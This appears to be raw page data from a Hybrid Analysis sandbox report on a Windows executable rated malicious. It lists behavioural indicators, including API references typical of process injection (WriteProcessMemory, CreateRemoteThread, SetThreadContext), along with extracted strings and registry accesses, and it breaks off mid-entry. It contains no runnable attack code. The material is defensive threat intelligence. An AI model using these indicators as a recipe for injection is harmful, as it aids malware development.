26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 80:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4f5,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_90% Sample e2a93c5f2417… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample e2a93c5f2417…. Malware family: Win/malicious_confidence_90%. Threat score 100/100. 3/27 AV engines flagged this file. 8 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178","keywords":["Malicious","Win/malicious_confidence_90%","malware analysis","sandbox report","threat intelligence","e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178"],"about":{"@type":"SoftwareApplication","name":"e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin","applicationCategory":["peexe","executable"],"identifier":"e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win/malicious_confidence_90%","antivirusDetections":{"malicious":3,"total":27},"behavioralIndicators":{"malicious":8,"suspicious":20},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T1013,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "VirtualFree"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "main.procVirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00000356.00000000.172078.01294000.00000002.mdmp") file/memory contains long string with (Indicator: "VirtualFree"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp")28:Tb84,Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "OpenThread"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "OpenThread"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp")29:T16b3,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "WaitForSingleObject"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "GetSystemTimeAsFileTime"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "SetWaitableTimer"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "syscall.WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "syscall.WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00000356.00000000.172078.01294000.00000002.mdmp, 00000000-00000356.00000001.173998.01125000.00000002.mdmp") Found reference to API "main.procSetTimer" (Indicator: "SetTimer"; Source: "00000000-00000356.00000000.172078.01294000.00000002.mdmp") Found reference to API "syscall.procWaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00000356.00000000.172078.01294000.00000002.mdmp") file/memory contains long string with (Indicator: "SetTimer"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") file/memory contains long string with (Indicator: "WaitForSingleObject"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") file/memory contains long string with (Indicator: "SetWaitableTimer"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp")2a:T8ca,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "FreeLibrary"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "LoadLibrary"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp")2b:Te6e,Found reference to "newHMAC" (Indicator: "HMAC"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to "forHKDF" (Indicator: "HKDF"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to "*hmac.HMAC" (Indicator: "HMAC"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "SHA384"; File: "libffi-8.dll") file/memory contains long string with (Indicator: "SHA384"; File: "_bz2.pyd") file/memory contains long string with (Indicator: "HMAC"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "SHA512"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_multiprocessing.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_queue.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "select.pyd") Found reference to "*func([]uint8) *hmac.HMAC" (Indicator: "HMAC"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "SHA384"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "SHA512"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "HKDF"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "HMAC"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "TripleDES"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to "crypto/internal/fips140/hmac.(*HMAC).Sum" (Indicator: "HMAC"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to "crypto/internal/fips140/hmac.(*HMAC).Write" (Indicator: "HMAC"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to "crypto/internal/fips140/hmac.(*HMAC).Size" (Indicator: "HMAC"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to "crypto/internal/fips140/hmac.(*HMAC).BlockSize" (Indicator: "HMAC"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to "crypto/internal/fips140/hmac.(*HMAC).Reset" (Indicator: "HMAC"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to "crypto/des.NewTripleDESCipher" (Indicator: "TripleDES"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to "crypto/tls.aeadChaCha20Poly1305" (Indicator: "ChaCha20Poly1305"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to "HMAC_CTX_free" (Indicator: "HMAC"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to "SHA384_Init" (Indicator: "SHA384"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to "SHA512_Init" (Indicator: "SHA512"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to "SHA512_Transform" (Indicator: "SHA512"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to "HMAC_Final" (Indicator: "HMAC"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin")2c:T94d,Found string - ubject:eventswindowsrunningwsarecvwsasendlookup writetocharsetexpiresrefererrefreshname %qforcegcallocmWcpuprofallocmRunknowngctraceIO waitsyscallwaitingforevernetworkUNKNOWNcleanup goid= mark s=nil (scan MB in pacer: % CPU ( zombiegc bits, j0 = head = panic: nmsys= locks= dying= allocs m->g0= pad1= pad2= text= minpc= value= (scan)types : type \\.\UNCSHA-224SHA-256SHA-384SHA-512Ed25519MD5-RSAserial:AES-CBCavx512feae_prkderivedruntimeos/execfips140answers2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9GoStringPRIORITYSETTINGShijackedNO_ERRORLocation data=%q incr=%v ping=%qhttp/1.1HTTP/2.0HTTP/1.1no-cacheContinueAcceptedConflictFullPathno anodeCancelIoReadFileAcceptExWSAIoctlshutdownThursdaySaturdayFebruaryNovemberDecember%!Month(48828125strconv.parsing ParseIntnil PooltlsmlkemCurveID(finishedReceivednetedns0[::1]:53continue_gatewaywsaioctlinvalid address raw-readsendfilereadfromunixgramif-matchlocationscavengepollDescsynctesttraceBufdeadlockraceFinipanicnilcgocheckrunnableeax ebx ecx edx e; Source: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string - m=nil base SundayMondayFridayAugustUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13uint16uint32uint64stringstructCommonrdtscppopcntcmd/gonetdnsconsoleCopySidWSARecvWSASendconnect\\.\UNCforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWNcleanup:events goid= mark s=nil; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") Found string - \\.\DISPLAY2; Source: "00000000-00000356.00000002.175916.03400000.00000004.mdmp") Found string - \\.\DISPLAY3; Source: "00000000-00000356.00000002.175916.03400000.00000004.mdmp") Found string - \\.\DISPLAY4; Source: "00000000-00000356.00000002.175916.03400000.00000004.mdmp") Found string - \\.\DISPLAY5; Source: "00000000-00000356.00000002.175916.03400000.00000004.mdmp") Found string - \\.\DISPLAY6; Source: "00000000-00000356.00000002.175916.03400000.00000004.mdmp") Found string - \\.\DISPLAY7; Source: "00000000-00000356.00000002.175916.03400000.00000004.mdmp") Found string - \\.\DISPLAY8; Source: "00000000-00000356.00000002.175916.03400000.00000004.mdmp") Found string - \\.\DISPLAY1; Source: "00000000-00000356.00000002.175916.03400000.00000004.mdmp") Found string - \.\DISPLAY1; Source: "00000000-00000356.00000002.175916.03400000.00000004.mdmp")2d:T11d9,"tmp9bmqrk_p.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0000002F-0000-0000-C000-000000000046}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "tmp9bmqrk_p.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{00000100-0000-0010-8000-00AA006D2EA4}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "tmp9bmqrk_p.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00000100-0000-0010-8000-00AA006D2EA4}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "tmp9bmqrk_p.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{00000101-0000-0010-8000-00AA006D2EA4}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "tmp9bmqrk_p.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00000101-0000-0010-8000-00AA006D2EA4}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "tmp9bmqrk_p.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{00000103-0000-0010-8000-00AA006D2EA4}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "tmp9bmqrk_p.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00000103-0000-0010-8000-00AA006D2EA4}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "tmp9bmqrk_p.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{00000104-0000-0010-8000-00AA006D2EA4}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "tmp9bmqrk_p.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00000104-0000-0010-8000-00AA006D2EA4}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "tmp9bmqrk_p.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{00000105-0000-0010-8000-00AA006D2EA4}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "tmp9bmqrk_p.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00000105-0000-0010-8000-00AA006D2EA4}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "tmp9bmqrk_p.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{00000106-0000-0010-8000-00AA006D2EA4}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "tmp9bmqrk_p.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00000106-0000-0010-8000-00AA006D2EA4}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "tmp9bmqrk_p.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{00000107-0000-0010-8000-00AA006D2EA4}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "tmp9bmqrk_p.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00000107-0000-0010-8000-00AA006D2EA4}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "tmp9bmqrk_p.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{00000108-0000-0010-8000-00AA006D2EA4}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "tmp9bmqrk_p.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00000108-0000-0010-8000-00AA006D2EA4}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "tmp9bmqrk_p.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{00000109-0000-0010-8000-00AA006D2EA4}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "tmp9bmqrk_p.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00000109-0000-0010-8000-00AA006D2EA4}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "tmp9bmqrk_p.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{00000300-0000-0000-C000-000000000046}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "tmp9bmqrk_p.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00000300-0000-0000-C000-000000000046}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "tmp9bmqrk_p.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{00000301-A8F2-4877-BA0A-FD2B6645FB94}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "tmp9bmqrk_p.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00000301-A8F2-4877-BA0A-FD2B6645FB94}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "tmp9bmqrk_p.exe" (Access type: "OPEN"; Path: 